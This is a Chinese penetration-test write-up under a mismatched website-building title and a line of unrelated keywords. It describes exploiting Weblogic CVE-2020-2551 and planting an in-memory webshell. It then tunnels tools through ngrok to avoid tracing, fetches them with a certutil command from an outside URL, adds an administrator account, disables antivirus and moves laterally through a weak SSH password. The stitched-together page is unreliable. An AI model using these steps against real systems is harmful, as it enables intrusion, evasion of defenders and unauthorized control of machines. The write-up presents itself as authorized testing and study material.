企业官网建设流程全解析

政务公开既网站信息化建设会议,用ih5做微网站,附近物流公司,wordpress 目录配置文件免责声明#xff1a;文章来源于真实渗透测试#xff0c;已获得授权#xff0c;且关键信息已经打码处理#xff0c;请勿利用文章内的相关技术从事非法测试#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本…免责声明文章来源于真实渗透测试已获得授权且关键信息已经打码处理请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。前言主要记录一次获取高权限用户的shell后如何直面杀毒软件上传工具并继续进行内网信息收集和横向工作从而进一步扩大战果的实战记录。也推荐一下在本文中使用到的一个反向代理工具 ——Ngrok文中我利用该工具在没有使用肉机和VPS的情况下便完成了本次渗透测试工作。一、漏洞利用信息收集的时候发现隐藏的资产进行指纹识别使用了Weblogic中间件。随便访问一个不存在的目录产生报错很明显Weblogic的特征直接上工具扫描漏洞。运气也是相当好的确实存在漏洞CVE_2020_2551并且获取的是Administrator的用户权限。继续利用工具写入内存马通过哥斯拉进行控制成功连接webshell。二、Ngrok工具拿到webshell后我便想尝试利用shell下载内网信息收集工具从而继续进行渗透工作。这里就用到了我说的Ngrok工具。这是一个反向代理工具它能够创建一个安全的隧道将本地服务器映射到互联网上。先利用Python在存放内网工具的目录下启动HTTP服务器记得要确保HTTP服务器开启了目录浏览功能接着就是利用Ngrok工具将内网的HTTP服务映射出去而映射的端口就是刚刚Python启动HTTP服务的端口。命令也是很简单输入后直接回车就能成功将本地的HTTP服务映射出去并且获取了一个临时的域名。而且因为是临时的域名关闭工具和服务后域名也就没有了这也就使得防守方难以通过域名进行溯源。直接访问临时域名就可以浏览目录内容了如果访问下载目录内工具在命令终端也会显示信息可以由此看出是否成功下载。Ngrok工具初次使用时是需要进行配置的配置之后就可以像文中步骤一样使用建议大家自行查询一下Ngrok使用方法三、直面杀毒软件尝试利用curl或wget下载信息收集工具但是测试发现该系统没有curl和wget这两个工具。这时我就想到了windows中的另一个默认自带的工具 ——certutil本来该工具是用来处理与证书相关的操作的但是利用特殊的命令一样能起到下载文件的作用。certutil -urlcache -f -split http://…可以看到我确实成功下载了 fscan 工具但是一运行就报错。查看后发现fscan没了这服务器肯定是有杀软的而工具做了静态免杀。懒得再搞免杀绕过了既然是Administrator用户那直接远程连接到桌面关掉杀软就好了。利用命令行添加 test 用户并将该用户加入到管理员组中。查看端口开放情况发现开放了3389那就不用再开启RDP服务了。直接利用哥斯拉插件写入Suo5内存马利用工具搭建正向代理。确认正向代理搭建成功后直接用远程桌面连接工具连接内网地址进行登录成功登录到刚刚创建的test用户。在登录后直接手动关闭杀毒软件并再次上传工具。这次就没有问题了工具成功上传也没有再被杀掉。四、内网横向利用fscan扫描内网分析发现应该是一个内网小集群。机器不是很多但也依然发现了不少有用的信息。通过fscan的扫描获取到了一台服务器的SSH弱口令同时内网中也存在另一台同样使用了Weblogic中间件的服务器。利用SSH弱口令远程登录到服务器成功获得root用户权限。通过查看.bash_history文件发现该服务器通过防火墙开放了1521端口猜测该服务器上可能存在Oracle数据库可惜因为网络和时间问题没有继续进行测试。使用漏洞利用工具对新发现的存在Weblogic中间件的服务器进行扫描也是存在一个Weblogic的低版本漏洞并成功获得Administrator用户权限。总结成功获取了两台Windows主机的Administrator用户权限一台Linux主机的root用户权限。本次渗透到是没有什么难度但在这个过程中也是出现了一些问题。在搭建正向代理后习惯性利用ping进行网络连通性测试但是就是一直ping不通该服务器的内网IP地址这一度让我以为根本没有代理成功。但是经过多次测试后发现是服务器防火墙策略禁ping了也是第一次在实际的渗透测试内网环境中遇到这种情况。还是那个话还是需要多实战多思考。网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取